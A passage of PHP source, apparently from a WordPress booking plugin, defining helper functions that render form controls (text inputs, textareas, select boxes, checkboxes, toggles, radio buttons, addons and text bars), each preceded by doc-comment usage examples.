Convert &dash; to ‐ etc... ?></label><?php } } /** * Show FLEX text * * @param array $item * * Example: $params_checkbox = array( 'id' => 'my_check_id' // HTML ID of element , 'name' => 'my_check_id' , 'label' => __('Approve' ,'booking') , 'style' => '' // CSS of select element , 'class' => '' // CSS Class of select element , 'disabled' => false , 'attr' => array() // Any additional attributes, if this radio | checkbox element , 'placeholder' => '' , 'value' => 'CHECK_VAL_1' // Some Value from optins array that selected by default , 'onfocus' => "console.log( 'ON FOCUS:', jQuery( this ).is(':checked') , 'in element:' , jQuery( this ) );" // JavaScript code , 'onchange' => "console.log( 'ON CHANGE:', jQuery( this ).is(':checked') , 'in element:' , jQuery( this ) );" // JavaScript code ); ?><div class="ui_element"><?php wpbc_flex_text( $params_select ); ?></div><?php * */ function wpbc_flex_text( $item ) { $default_item_params = array( 'type' => 'text' , 'id' => '' , 'name' => '' , 'label' => '' , 'disabled' => false , 'class' => '' , 'style' => '' , 'placeholder' => '' , 'attr' => array() , 'value' => '' , 'is_escape_value' => true , 'onfocus' => '' // JavaScript code , 'onchange' => '' // JavaScript code , 'onkeydown' => '' // JavaScript code ); $item_params = wp_parse_args( $item, $default_item_params ); if ( ( empty( $item_params['name'] ) ) && ( ! empty( $item_params['id'] ) ) ) { $item_params['name'] = $item_params['id']; } // Show only, if $item_params['label'] ! EMPTY wpbc_flex_label( array( 'id' => $item_params['id'] , 'label' => $item_params['label'] ) ); if ( $item_params['is_escape_value'] ) { $escaped_value = esc_attr( $item_params['value'] ); } else { $escaped_value = $item_params['value']; } ?><input type="<?php echo esc_attr( $item_params['type'] ); ?>" id="<?php echo esc_attr( $item_params['id'] ); ?>" name="<?php echo esc_attr( $item_params['name'] ); ?>" style="<?php echo esc_attr( $item_params['style'] ); ?>" class="wpbc_ui_control wpbc_ui_text <?php echo esc_attr( $item_params['class'] ); ?>" placeholder="<?php echo esc_attr( $item_params['placeholder'] ); ?>" value="<?php echo $escaped_value; ?>" autocomplete="off" <?php disabled( $item_params['disabled'], true ); ?> <?php echo wpbc_get_custom_attr( $item_params ); ?> <?php if ( ! empty( $item_params['onfocus'] ) ) { ?> onfocus="javascript:<?php echo wpbc_esc_js( $item_params['onfocus'] ); ?>" <?php } if ( ! empty( $item_params['onchange'] ) ) { ?> onchange="javascript:<?php echo wpbc_esc_js( $item_params['onchange'] ); ?>" <?php } if ( ! empty( $item_params['onkeydown'] ) ) { ?> onkeydown="javascript:<?php echo wpbc_esc_js( $item_params['onkeydown'] ); ?>" <?php } ?> /><?php } /** * Show FLEX textarea * * @param array $item * * Example: $params_textarea = array( 'id' => 'my_check_id' // HTML ID of element , 'name' => 'my_check_id' , 'label' => __('Approve' ,'booking') , 'style' => '' // CSS of select element , 'class' => '' // CSS Class of select element , 'disabled' => false , 'attr' => array() // Any additional attributes, if this radio | checkbox element , 'rows' => '3' , 'cols' => '50' , 'placeholder' => '' , 'value' => 'Test VAL 1' // Some Value from optins array that selected by default , 'onfocus' => "console.log( 'ON FOCUS:', jQuery( this ).val() , 'in element:' , jQuery( this ) );" // JavaScript code , 'onchange' => "console.log( 'ON CHANGE:', jQuery( this ).val() , 'in element:' , jQuery( this ) );" // JavaScript code ); ?><div class="ui_element"><?php wpbc_flex_textarea( $params_textarea ); ?></div><?php * */ function wpbc_flex_textarea( $item ) { $default_item_params = array( 'id' => '' , 'name' => '' , 'label' => '' , 'disabled' => false , 'class' => '' , 'style' => '' , 'placeholder' => '' , 'attr' => array() , 'rows' => '3' , 'cols' => '50' , 'value' => '' , 'is_escape_value' => true , 'onfocus' => '' // JavaScript code , 'onchange' => '' // JavaScript code ); $item_params = wp_parse_args( $item, $default_item_params ); if ( ( empty( $item_params['name'] ) ) && ( ! empty( $item_params['id'] ) ) ) { $item_params['name'] = $item_params['id']; } // Show only, if $item_params['label'] ! EMPTY wpbc_flex_label( array( 'id' => $item_params['id'] , 'label' => $item_params['label'] ) ); if ( $item_params['is_escape_value'] ) { $escaped_value = esc_textarea( $item_params['value'] ); } else { $escaped_value = $item_params['value']; } ?><textarea id="<?php echo esc_attr( $item_params['id'] ); ?>" name="<?php echo esc_attr( $item_params['name'] ); ?>" style="<?php echo esc_attr( $item_params['style'] ); ?>" class="wpbc_ui_control wpbc_ui_textarea <?php echo esc_attr( $item_params['class'] ); ?>" placeholder="<?php echo esc_attr( $item_params['placeholder'] ); ?>" autocomplete="off" rows="<?php echo esc_attr( $item_params['rows'] ); ?>" cols="<?php echo esc_attr( $item_params['cols'] ); ?>" <?php disabled( $item_params['disabled'], true ); ?> <?php echo wpbc_get_custom_attr( $item_params ); ?> <?php if ( ! empty( $item_params['onfocus'] ) ) { ?> onfocus="javascript:<?php echo wpbc_esc_js( $item_params['onfocus'] ); ?>" <?php } if ( ! empty( $item_params['onchange'] ) ) { ?> onchange="javascript:<?php echo wpbc_esc_js( $item_params['onchange'] ); ?>" <?php } ?> ><?php echo $escaped_value; ?></textarea><?php } /** * Show FLEX selectbox * * @param array $item array( 'id' => '' // HTML ID of element , 'name' => '' , 'style' => '' // CSS of select element , 'class' => '' // CSS Class of select element , 'multiple' => false , 'disabled' => false , 'attr' => array() // Any additional attributes, if this radio | checkbox element , 'options' => array() // Associated array of titles and values , 'disabled_options' => array() // If some options disbaled, then its must list here , 'value' => '' // Some Value from optins array that selected by default , 'onfocus' => "console.log( 'ON FOCUS:', jQuery( this ).val(), 'in element:' , jQuery( this ) );" // JavaScript code , 'onchange' => "console.log( 'ON CHANGE:', jQuery( this ).val(), 'in element:' , jQuery( this ) );" // JavaScript code ) * * * Simple Example : * $params_select = array( 'id' => 'next_days' // HTML ID of element , 'name' => 'next_days' , 'label' => '' // __( 'Next Days', 'booking' ) // Label (optional) , 'style' => '' // CSS of select element , 'class' => '' // CSS Class of select element , 'multiple' => false , 'attr' => array() // Any additional attributes, if this radio | checkbox element , 'disabled' => false , 'disabled_options' => array( 2, 30 ) // If some options disabled, then it has to list here , 'options' => array( // Associated array of titles and values , 1 => '1' . ' ' . __('day' ,'booking') , 2 => '2' . ' ' . __('days' ,'booking') , 7 => '1' . ' ' . __('week' ,'booking') , 30 => '1' . ' ' . __('month' ,'booking') , 365 => '1' . ' ' . __('Year' ,'booking') ) , 'value' => ( isset( $escaped_search_request_params[ 'next_days' ] ) ) ? $escaped_search_request_params[ 'next_days' ] : '183' // Some Value from options array that selected by default , 'onfocus' => "console.log( 'ON FOCUS:', jQuery( this ).val(), 'in element:' , jQuery( this ) );" // JavaScript code , 'onchange' => "console.log( 'ON CHANGE:', jQuery( this ).val(), 'in element:' , jQuery( this ) );" // JavaScript code ); ?><div class="ui_element"><?php wpbc_flex_select( $params_select ); ?></div><?php * * * * Example complex: * * * $params_select = array( 'id' => 'next_days' // HTML ID of element , 'name' => 'next_days' , 'label' => '<span class="" style="font-weight:600;">' . __( 'Cost', 'booking' ) . ' <em style="color:#888;">(' . __( 'min-max', 'booking' ) . '):</em></span>' , 'style' => '' // CSS of select element , 'class' => '' // CSS Class of select element , 'multiple' => false , 'attr' => array() // Any additional attributes, if this radio | checkbox element , 'disabled' => false , 'disabled_options' => array( 2, 5 ) // If some options disabled, then it has to list here , 'options' => array( // Associated array of titles and values: array( $option_value => $option_data, ... ) 'group_days' => array( 'optgroup' => true, 'close' => false, 'title' => __( 'days', 'booking' ) ) , 1 => '1' . ' ' . __('day' ,'booking') , 2 => '2' . ' ' . __('days' ,'booking') , 3 => '3' . ' ' . __('days' ,'booking') , 4 => '4' . ' ' . __('days' ,'booking') , 5 => '5' . ' ' . __('days' ,'booking') , 6 => '6' . ' ' . __('days' ,'booking') , 'group_days_end' => array( 'optgroup' => true, 'close' => true ) , 'group_weeks' => array( 'optgroup' => true, 'close' => false, 'title' => __( 'weeks', 'booking' ) ) , 7 => '1' . ' ' . __('week' ,'booking') , 14 => '2' . ' ' . __('weeks' ,'booking') , 'group_weeks_end' => array( 'optgroup' => true, 'close' => true ) , 'group_months' => array( 'optgroup' => true, 'close' => false, 'title' => __( 'months', 'booking' ) ) , 30 => '1' . ' ' . __('month' ,'booking') , 60 => '2' . ' ' . __('months' ,'booking') , 90 => '3' . ' ' . __('months' ,'booking') , 183 => '6' . ' ' . __('months' ,'booking') , 365 => '1' . ' ' . __('Year' ,'booking') , 'group_months_end' => array( 'optgroup' => true, 'close' => true ) , 'complex_value' => array( 'title' => 'Complex Option Here' // Text in selectbox option , 'style' => '' // CSS of select element , 'class' => '' // CSS Class of select element , 'disabled' => false , 'selected' => true , 'attr' => array() // Any additional attributes, if this radio | checkbox element , 'optgroup' => false // Use only if you need to show OPTGROUP - Also need to use 'title' of start, end 'close' for END , 'close' => false ) ) , 'value' => ( isset( $escaped_search_request_params[ 'next_days' ] ) ) ? $escaped_search_request_params[ 'next_days' ] : '183' // Some Value from options array that selected by default , 'onfocus' => "console.log( 'ON FOCUS:', jQuery( this ).val(), 'in element:' , jQuery( this ) );" // JavaScript code , 'onchange' => "console.log( 'ON CHANGE:', jQuery( this ).val(), 'in element:' , jQuery( this ) );" // JavaScript code ); ?><div class="ui_element"><?php wpbc_flex_select( $params_select ); ?></div><?php * */ function wpbc_flex_select( $item ) { $default_item_params = array( 'id' => '' // HTML ID of element , 'name' => '' , 'label' => '' // Label , 'style' => '' // CSS of select element , 'class' => '' // CSS Class of select element , 'multiple' => false , 'disabled' => false , 'attr' => array() // Any additional attributes, if this radio | checkbox element , 'options' => array() // Associated array of titles and values: array( $option_value => $option_data, ... ) , 'disabled_options' => array() // If some options disabled, then it has to list here , 'value' => '' // Some Value from options array that selected by default , 'onfocus' => '' // JavaScript code , 'onchange' => '' // JavaScript code ); $item_params = wp_parse_args( $item, $default_item_params ); // Show only, if $item_params['label'] ! EMPTY wpbc_flex_label( array( 'id' => $item_params['id'] , 'label' => $item_params['label'] ) ); ?><select id="<?php echo esc_attr( $item_params['id'] ); ?>" name="<?php echo esc_attr( $item_params['name'] ); echo ( $item_params['multiple'] ? '[]' : '' ); ?>" class="wpbc_ui_control wpbc_ui_select <?php echo esc_attr( $item_params['class'] ); ?>" style="<?php echo esc_attr( $item_params['style'] ); ?>" <?php disabled( $item_params['disabled'], true ); ?> <?php echo wpbc_get_custom_attr( $item_params ); ?> <?php echo ( $item_params['multiple'] ? ' multiple="MULTIPLE"' : '' ); ?> <?php if ( ! empty( $item_params['onfocus'] ) ) { ?> onfocus="javascript:<?php echo wpbc_esc_js( $item_params['onfocus'] ); ?>" <?php } if ( ! empty( $item_params['onchange'] ) ) { ?> onchange="javascript:<?php echo wpbc_esc_js( $item_params['onchange'] ); ?>" <?php } ?> autocomplete="off" ><?php foreach ( $item_params['options'] as $option_value => $option_data ) { if ( ! is_array( $option_data ) ) { $option_data = array( 'title' => $option_data ); $is_was_simple = true; } else { $is_was_simple = false; } $default_option_params = array( 'title' => '' // Text in selectbox option , 'style' => '' // CSS of select element , 'class' => '' // CSS Class of select element , 'disabled' => false , 'selected' => false , 'attr' => array() // Any additional attributes, if this radio | checkbox element , 'optgroup' => false // Use only if you need to show OPTGROUP - Also need to use 'title' of start, end 'close' for END , 'close' => false ); $option_data = wp_parse_args( $option_data, $default_option_params ); if ( $option_data['optgroup'] ) { // OPTGROUP if ( ! $option_data['close'] ) { ?><optgroup label="<?php echo esc_attr( $option_data['title'] ); ?>"><?php } else { ?></optgroup><?php } } else { // OPTION ?><option value="<?php echo esc_attr( $option_value ); ?>" <?php if ( $is_was_simple ) { selected( $option_value, $item_params['value'] ); disabled( in_array( $option_value, $item_params['disabled_options'] ), true ); } if ( ! empty( $option_data['class'] ) ){ echo ' class="' . esc_attr( $option_data['class'] ) . '" '; } if ( ! empty( $option_data['style'] ) ){ echo ' style="' . esc_attr( $option_data['style'] ) . '" '; } selected( $option_data['selected'], true ); disabled( $option_data['disabled'], true ); echo wpbc_get_custom_attr( $option_data ); if ( ! empty( $item_params['value'] ) ) { if ( is_array( $item_params['value'] ) ) { selected( in_array( esc_attr( $option_value ), $item_params['value'] ), true ); // SELECT multiple, have several items } else { selected( $item_params['value'], esc_attr( $option_value ) ); //Recheck global selected parameter } } ?> ><?php echo html_entity_decode( wp_kses_post( $option_data['title'] ) // Sanitizes content for allowed HTML tags for post content , ENT_QUOTES // Convert " to " and ' , get_bloginfo( 'charset' ) // 'UTF-8' or other ); // Convert &dash; to ‐ etc... ?></option><?php } } ?></select><?php } /** * Show FLEX checkbox * * @param array $item * * Example: $params_checkbox = array( 'id' => 'my_check_id' // HTML ID of element , 'name' => 'my_check_id' , 'label' => array( 'title' => __('Approve' ,'booking') , 'position' => 'right' ) , 'style' => '' // CSS of select element , 'class' => '' // CSS Class of select element , 'disabled' => false , 'attr' => array() // Any additional attributes, if this radio | checkbox element , 'legend' => '' // aria-label parameter , 'value' => 'CHECK_VAL_1' // Some Value from optins array that selected by default , 'selected' => !false // Selected or not , 'onfocus' => "console.log( 'ON FOCUS:', jQuery( this ).is(':checked') , 'in element:' , jQuery( this ) );" // JavaScript code , 'onchange' => "console.log( 'ON CHANGE:', jQuery( this ).is(':checked') , 'in element:' , jQuery( this ) );" // JavaScript code , 'is_use_toggle' => false // Show checkbox as toggle , 'hint' => '' // , 'hint' => array( 'title' => __('Select status' ,'booking') , 'position' => 'bottom' ) ); ?><div class="ui_element"><?php wpbc_flex_checkbox( $params_select ); ?></div><?php */ function wpbc_flex_checkbox( $item ) { $default_item_params = array( 'type' => 'checkbox' , 'id' => '' // HTML ID of element , 'name' => '' , 'label' => '' // Label Example: 'label' => array( 'title' => __('Select status' ,'booking') , 'position' => 'left' ) , 'style' => '' // CSS of select element , 'class' => '' // CSS Class of select element , 'disabled' => false , 'attr' => array() // Any additional attributes, if this radio | checkbox element , 'legend' => '' // aria-label parameter , 'value' => '' // Some Value from optins array that selected by default , 'selected' => false // Selected or not , 'onfocus' => '' // JavaScript code , 'onchange' => '' // JavaScript code , 'is_use_toggle' => false // Show checkbox as toggle , 'hint' => '' // , 'hint' => array( 'title' => __('Select status' ,'booking') , 'position' => 'bottom' ) ); $item_params = wp_parse_args( $item, $default_item_params ); // Use toggle element, instead of checkbox. if ( $item_params['is_use_toggle'] ) { wpbc_flex_toggle( $item ); return; } if ( ( ! empty( $item_params['label'] ) ) && ( 'left' == $item_params['label']['position'] ) ) { wpbc_flex_label( array( 'id' => $item_params['id'], 'label' => $item_params['label']['title'] ) ); } ?><input type="<?php echo esc_attr( $item_params['type'] ); ?>" id="<?php echo esc_attr( $item_params['id'] ); ?>" name="<?php echo esc_attr( $item_params['name'] ); ?>" value="<?php echo esc_attr( $item_params['value'] ); ?>" aria-label="<?php echo esc_attr( $item_params['legend'] ); ?>" class="wpbc_ui_<?php echo esc_attr( $item_params['type'] ); ?> <?php echo esc_attr( $item_params['class'] ); ?> <?php echo ( ! empty( $item_params['hint'] ) ) ? ' tooltip_' . esc_attr( $item_params['hint']['position'] ) . ' ' : '' ; ?>" style="<?php echo esc_attr( $item_params['style'] ); ?>" <?php if ( ! empty( $item_params['hint'] ) ) { ?> title="<?php echo esc_attr( $item_params['hint']['title'] ); ?>" <?php } ?> <?php echo wpbc_get_custom_attr( $item_params ); ?> <?php checked( $item_params['selected'], true ); ?> <?php disabled( $item_params['disabled'], true ); ?> <?php if ( ! empty( $item_params['onfocus'] ) ) { ?> onfocus="javascript:<?php echo wpbc_esc_js( $item_params['onfocus'] ); ?>" <?php } if ( ! empty( $item_params['onchange'] ) ) { ?> onchange="javascript:<?php echo wpbc_esc_js( $item_params['onchange'] ); ?>" <?php } ?> autocomplete="off" /><?php if ( ( ! empty( $item_params['label'] ) ) && ( 'right' == $item_params['label']['position'] ) ) { wpbc_flex_label( array( 'id' => $item_params['id'], 'label' => $item_params['label']['title'] ) ); } } /** * Show FLEX toggle instead of checkbox * * @param array $item * * Example: $params_checkbox = array( 'id' => 'my_check_id' // HTML ID of element , 'name' => 'my_check_id' , 'label' => array( 'title' => __('Approve' ,'booking') , 'position' => 'right' ) , 'style' => '' // CSS of select element , 'toggle_style' => '' // Styles CSS of toggle container , 'toggle_class' => '' // Class CSS of toggle container , 'class' => '' // CSS Class of input element , 'disabled' => false , 'attr' => array() // Any additional attributes, if this radio | checkbox element , 'legend' => '' // aria-label parameter , 'value' => 'CHECK_VAL_1' // Some Value from optins array that selected by default , 'selected' => !false // Selected or not , 'onfocus' => "console.log( 'ON FOCUS:', jQuery( this ).is(':checked') , 'in element:' , jQuery( this ) );" // JavaScript code , 'onchange' => "console.log( 'ON CHANGE:', jQuery( this ).is(':checked') , 'in element:' , jQuery( this ) );" // JavaScript code ); ?><div class="ui_element"><?php wpbc_flex_toggle( $params_select ); ?></div><?php */ function wpbc_flex_toggle( $item ){ $default_item_params = array( 'type' => 'checkbox' , 'id' => '' // HTML ID of element , 'name' => '' , 'label' => '' // Label Example: 'label' => array( 'title' => __('Select status' ,'booking') , 'position' => 'left' ) , 'style' => '' // CSS of select element , 'toggle_style' => '' // Styles CSS of toggle container , 'toggle_class' => '' // Class CSS of toggle container , 'class' => '' // CSS Class of input element , 'disabled' => false , 'attr' => array() // Any additional attributes, if this radio | checkbox element , 'legend' => '' // aria-label parameter , 'value' => '' // Some Value from optins array that selected by default , 'selected' => false // Selected or not , 'onfocus' => '' // JavaScript code , 'onchange' => '' // JavaScript code , 'hint' => '' // , 'hint' => array( 'title' => __('Select status' ,'booking') , 'position' => 'bottom' ) ); $item_params = wp_parse_args( $item, $default_item_params ); /** * Structure: ?><span class="wpbc_ui__toggle"> <input type="checkbox" name="field_name" id="wpbc_field_id" value="On" /> <label class="wpbc_ui__toggle_icon" for="wpbc_field_id"></label> <label class="wpbc_ui__toggle_label" for="wpbc_field_id">Some Text</label> <i class="wpbc_help_tooltip"></i> </span><?php */ ?><span class="wpbc_ui__toggle <?php echo esc_attr( $item_params['toggle_class'] ); ?>" style="<?php echo esc_attr( $item_params['toggle_style'] ); ?>"><?php ?><input type="<?php echo esc_attr( $item_params['type'] ); ?>" id="<?php echo esc_attr( $item_params['id'] ); ?>" name="<?php echo esc_attr( $item_params['name'] ); ?>" value="<?php echo esc_attr( $item_params['value'] ); ?>" aria-label="<?php echo esc_attr( $item_params['legend'] ); ?>" class="wpbc_ui_<?php echo esc_attr( $item_params['type'] ); ?> <?php echo esc_attr( $item_params['class'] ); ?>" <?php echo wpbc_get_custom_attr( $item_params ); ?> <?php checked( $item_params['selected'], true ); ?> <?php disabled( $item_params['disabled'], true ); ?> <?php if ( ! empty( $item_params['onfocus'] ) ) { ?> onfocus="javascript:<?php echo wpbc_esc_js( $item_params['onfocus'] ); ?>" <?php } if ( ! empty( $item_params['onchange'] ) ) { ?> onchange="javascript:<?php echo wpbc_esc_js( $item_params['onchange'] ); ?>" <?php } ?> autocomplete="off" /><?php ?><label class="wpbc_ui__toggle_icon <?php echo ( ! empty( $item_params['hint'] ) ) ? ' tooltip_' . esc_attr( $item_params['hint']['position'] ) . ' ' : '' ; ?> " for="<?php echo esc_attr( $item_params['id'] ); ?>" <?php if ( ! empty( $item_params['hint'] ) ) { ?> title="<?php echo esc_attr( $item_params['hint']['title'] ); ?>" <?php } ?> ></label><?php if ( ! empty( $item_params['label'] ) ) { wpbc_flex_label( array( 'id' => $item_params['id'], 'class' => 'wpbc_ui__toggle_label', 'label' => $item_params['label']['title'] ) ); } ?><i class="wpbc_help_tooltip"></i><?php ?></span><?php } /** * Show FLEX radio button * * @param array $item * * Example: $params_checkbox = array( 'id' => 'my_check_id' // HTML ID of element , 'name' => 'my_check_id' , 'label' => array( 'title' => __('Approve' ,'booking') , 'position' => 'right' ) , 'style' => '' // CSS of select element , 'class' => '' // CSS Class of select element , 'disabled' => false , 'attr' => array() // Any additional attributes, if this radio | checkbox element , 'legend' => '' // aria-label parameter , 'value' => 'CHECK_VAL_1' // Some Value from optins array that selected by default , 'selected' => !false // Selected or not , 'onfocus' => "console.log( 'ON FOCUS:', jQuery( this ).is(':checked') , 'in element:' , jQuery( this ) );" // JavaScript code , 'onchange' => "console.log( 'ON CHANGE:', jQuery( this ).val() , 'in element:' , jQuery( this ) );" // JavaScript code ); ?><div class="ui_element"><?php wpbc_flex_radio( $params_select ); $params_checkbox['id'] = 'my_check_id2'; $params_checkbox['value'] = 'CHECK_VAL_2'; wpbc_flex_radio( $params_select ); ?></div><?php */ function wpbc_flex_radio( $item ) { $item['type'] = 'radio'; $item['is_use_toggle'] = false; wpbc_flex_checkbox( $item ); } /** * Show FLEX addon (image or text can be here) * * @param array $item array( 'type' => 'span' // HTML tag that will bound content , 'html' => '' // Any other HTML content , 'icon' => false // array( 'icon_font' => 'wpbc_icn_check_circle_outline', 'position' => 'right', 'icon_img' => '' ) , 'style' => '' // CSS of select element , 'class' => '' // CSS Class of select element // default included class is .wpbc_ui_addon , 'attr' => array() // Any additional attributes ); * Example 1: ` $params_span = array( 'type' => 'span' , 'html' => '<i class="menu_icon icon-1x wpbc_icn_event"></i> Approve ' , 'icon' => false // array( 'icon_font' => 'wpbc_icn_check_circle_outline', 'position' => 'right', 'icon_img' => '' ) , 'class' => 'wpbc_ui_button inactive ui_nowrap' , 'style' => '' , 'attr' => array() ); ?><div class="ui_element"><?php wpbc_flex_addon( $params_span ); wpbc_flex_text( $params_text ); wpbc_flex_addon( $params_span ); ?></div><?php * Example 2: $params_addon = array( 'type' => 'span' , 'html' => ''// '<i class="menu_icon icon-1x wpbc_icn_event"></i>' //'<strong>' . __( 'Dates', 'booking ' ) . '</strong>' , 'icon' => array( 'icon_font' => 'wpbc_icn_event', 'position' => 'right', 'icon_img' => '' ) , 'class' => 'wpbc_ui_button inactive' , 'style' => '' , 'attr' => array() ); ?><div class="ui_element ui_nowrap"><?php wpbc_flex_addon( $params_addon ); ?></div><?php */ function wpbc_flex_addon( $item ) { $default_item_params = array( 'type' => 'span' , 'html' => '' , 'icon' => false , 'class' => '' , 'style' => '' , 'hint' => '' // , 'hint' => array( 'title' => __('Select status' ,'booking') , 'position' => 'bottom' ) , 'attr' => array() ); $item_params = wp_parse_args( $item, $default_item_params ); // Icon $btn_icon = ''; if ( ( ! empty( $item_params['icon'] ) ) && ( is_array( $item_params['icon'] ) ) ) { // Icon IMG if ( ! empty( $item_params['icon']['icon_img'] ) ) { if ( substr( $item_params['icon']['icon_img'], 0, 4 ) != 'http' ) { $img_path = WPBC_PLUGIN_URL . '/assets/img/' . $item_params['icon']['icon_img']; } else { $img_path = $item_params['icon']['icon_img']; } $btn_icon = '<img class="menuicons" src="' . esc_url( $img_path ) . '" />'; // Img Icon } // Icon Font if ( ! empty( $item_params['icon']['icon_font'] ) ) { $btn_icon = '<i class="menu_icon icon-1x ' . esc_attr( $item_params['icon']['icon_font'] ) . '"></i>'; // Font Icon } } ?><<?php echo esc_attr( $item_params['type'] ); ?> class="wpbc_ui_control wpbc_ui_addon <?php echo esc_attr( $item_params['class'] ); echo ( ! empty( $item_params['hint'] ) ) ? ' tooltip_' . esc_attr( $item_params['hint']['position'] ) . ' ' : '' ; ?>" style="<?php echo esc_attr( $item_params['style'] ); ?>" <?php echo wpbc_get_custom_attr( $item_params ); ?> <?php if ( ! empty( $item_params['hint'] ) ) { ?> title="<?php echo esc_attr( $item_params['hint']['title'] ); ?>" <?php } ?> ><?php if ( ( ! empty( $btn_icon ) ) && ( 'left' == $item_params['icon']['position'] ) ) { echo $btn_icon; } echo html_entity_decode( wp_kses_post( $item_params['html'] ) // Sanitizes content for allowed HTML tags for post content , ENT_QUOTES // Convert " to " and ' , get_bloginfo( 'charset' ) // 'UTF-8' or other ); // Convert &dash; to ‐ etc... if ( ( ! empty( $btn_icon ) ) && ( 'right' == $item_params['icon']['position'] ) ) { echo $btn_icon; } ?></<?php echo esc_attr( $item_params['type'] ); ?>><?php } function wpbc_flex_divider( $item = array() ){ $default_item_params = array( 'type' => 'span' , 'html' => '' , 'icon' => false , 'class' => '' , 'style' => '' , 'hint' => '' // , 'hint' => array( 'title' => __('Select status' ,'booking') , 'position' => 'bottom' ) , 'attr' => array() ); $item_params = wp_parse_args( $item, $default_item_params ); ?><div class="wpbc_ui_control ui_elements_divider <?php echo esc_attr( $item_params['class'] ); echo ( ! empty( $item_params['hint'] ) ) ? ' tooltip_' . esc_attr( $item_params['hint']['position'] ) . ' ' : '' ; ?>" style="<?php echo esc_attr( $item_params['style'] ); ?>" <?php echo wpbc_get_custom_attr( $item_params ); ?> <?php if ( ! empty( $item_params['hint'] ) ) { ?> title="<?php echo esc_attr( $item_params['hint']['title'] ); ?>" <?php } ?> ></div><?php } /** * Show FLEX Vertical line for "wpbc_ui_control" elements with vertical border color * * @param $item array * * @return void * * Example: * ?><div class="ui_element ui_nowrap"><?php wpbc_flex_vertical_color( array( 'vertical_line' => 'border-left: 4px solid #11be4c;' ) ); * ?></div><?php */ function wpbc_flex_vertical_color( $item = array() ){ $default_item_params = array( 'id' => '' , 'html' => '<span></span>' , 'icon' => false , 'class' => '' , 'style' => '' , 'hint' => '' // , 'hint' => array( 'title' => __('Select status' ,'booking') , 'position' => 'bottom' ) , 'attr' => array() , 'vertical_line' => 'border-left: 4px solid #11be4c;' ); $item_params = wp_parse_args( $item, $default_item_params ); ?><div id="<?php echo esc_attr( $item_params['id'] ); ?>" class="wpbc_ui_control wpbc_ui_button ui_elements_vertical_color <?php echo esc_attr( $item_params['class'] ); echo ( ! empty( $item_params['hint'] ) ) ? ' tooltip_' . esc_attr( $item_params['hint']['position'] ) . ' ' : '' ; ?>" style="<?php echo esc_attr( $item_params['vertical_line'] ) . ';'; ?>padding: 0;<?php echo esc_attr( $item_params['style'] ); ?>" <?php echo wpbc_get_custom_attr( $item_params ); ?> <?php if ( ! empty( $item_params['hint'] ) ) { ?> title="<?php echo esc_attr( $item_params['hint']['title'] ); ?>" <?php } ?> ><?php echo $item_params['html']; ?></div><?php } /** * Show FLEX Horizontal Text Bar line for "wpbc_ui_control" elements with vertical border color * * @param $item array * * @return void * * Example: * $params_text_bar_1 = array( 'id' => '' , 'html' => '1. ' . __( 'Calendar Skin', 'booking' ) , 'option_class' => 'wpbc_option_step wpbc_passed_step' // 'wpbc_option_step', 'wpbc_option_separator', 'wpbc_option_step wpbc_selected_step', 'wpbc_option_separator wpbc_passed_step' , 'class' => '' , 'style' => 'height:auto;' , 'hint' => '' // , 'hint' => array( 'title' => __('Select status' ,'booking') , 'position' => 'bottom' ) , 'attr' => array() , 'tag' => 'span' ); $params_text_bar_hr = array('id' => '' , 'html' => '>' , 'option_class' => 'wpbc_option_separator' // 'wpbc_option_step', 'wpbc_option_separator', 'wpbc_option_step wpbc_selected_step', 'wpbc_option_separator wpbc_passed_step' , 'class' => '' , 'style' => 'height:auto;' , 'hint' => '' // , 'hint' => array( 'title' => __('Select status' ,'booking') , 'position' => 'bottom' ) , 'attr' => array() , 'tag' => 'span' ); $params_text_bar_2 = $params_text_bar_1; $params_text_bar_2['html'] = '2. ' . __( 'Calendar size', 'booking' ); $params_text_bar_2['option_class'] = 'wpbc_option_step wpbc_selected_step'; $params_text_bar_3 = $params_text_bar_1; $params_text_bar_3['html'] = '3. ' . __( 'Dates selection', 'booking' ); $params_text_bar_3['option_class'] = 'wpbc_option_step'; * ?><div class="ui_element ui_nowrap"><?php * wpbc_flex_horizontal_text_bar( $params_text_bar_1 ); wpbc_flex_horizontal_text_bar( $params_text_bar_hr ); wpbc_flex_horizontal_text_bar( $params_text_bar_2 ); * ?></div><?php */ function wpbc_flex_horizontal_text_bar( $item = array() ){ $default_item_params = array( 'id' => '' , 'html' => '<span></span>' , 'class' => '' , 'style' => '' , 'hint' => '' // , 'hint' => array( 'title' => __('Select status' ,'booking') , 'position' => 'bottom' ) , 'attr' => array() , 'tag' => 'span' , 'option_class' => 'wpbc_option_step' // 'wpbc_option_step', 'wpbc_option_separator', 'wpbc_option_step wpbc_selected_step', 'wpbc_option_separator wpbc_passed_step' ); $item_params = wp_parse_args( $item, $default_item_params ); ?><<?php echo esc_attr( $item_params['tag'] ); ?> <?php if ( ! empty( $item_params['id'] ) ) { echo ' id="' . esc_attr( $item_params['id'] ) . '" '; } ?> class="wpbc_ui_control wpbc_ui_addon wpbc_text_bar <?php echo esc_attr( $item_params['class'] ); echo ( ! empty( $item_params['hint'] ) ) ? ' tooltip_' . esc_attr( $item_params['hint']['position'] ) . ' ' : '' ; ?>" style="<?php echo esc_attr( $item_params['style'] ); ?>" <?php echo wpbc_get_custom_attr( $item_params ); ?> <?php if ( ! empty( $item_params['hint'] ) ) { ?> title="<?php echo esc_attr( $item_params['hint']['title'] ); ?>" <?php } ?> ><span class="<?php echo esc_attr( $item_params['option_class'] ); ?>"><?php echo $item_params['html']; ?></span></<?php echo esc_attr( $item_params['tag'] ); ?>><?php } // --------------------------------------------------------------------------------------------------------------------- // Complex elements // --------------------------------------------------------------------------------------------------------------------- /** * Show FLEX Dropdown * * Dropdown always have value as array. For example: [ '0' ], [ '4', '10' ] or [ '6', '', '2022-05-24' ] * * @param array $args * * = Simple Example: ================================================================================================== $params = array( 'id' => 'wh_approved' , 'default' => isset( $escaped_search_request_params['wh_approved'] ) ? $escaped_search_request_params['wh_approved'] : $defaults['wh_approved'] , 'label' => ''//__('Status', 'booking') . ':' , 'title' => __('Status', 'booking') , 'hint' => array( 'title' => __('Filter bookings by booking status' ,'booking') , 'position' => 'top' ) , 'li_options' => array ( '0' => __( 'Pending', 'booking' ), '1' => __( 'Approved', 'booking' ), 'divider1' => array( 'type' => 'html', 'html' => '<hr/>' ), // 'header1' => array( 'type' => 'header', 'title' => __( 'Default', 'booking' ) ), 'any' => array( 'type' => 'simple', 'value' => '', // 'disabled' => true, 'title' => __( 'Any', 'booking' ) ), ) ); ?><div class="ui_element ui_nowrap"><?php wpbc_flex_dropdown( $params ); ?></div><?php * * * = Complex Example: ================================================================================================= * 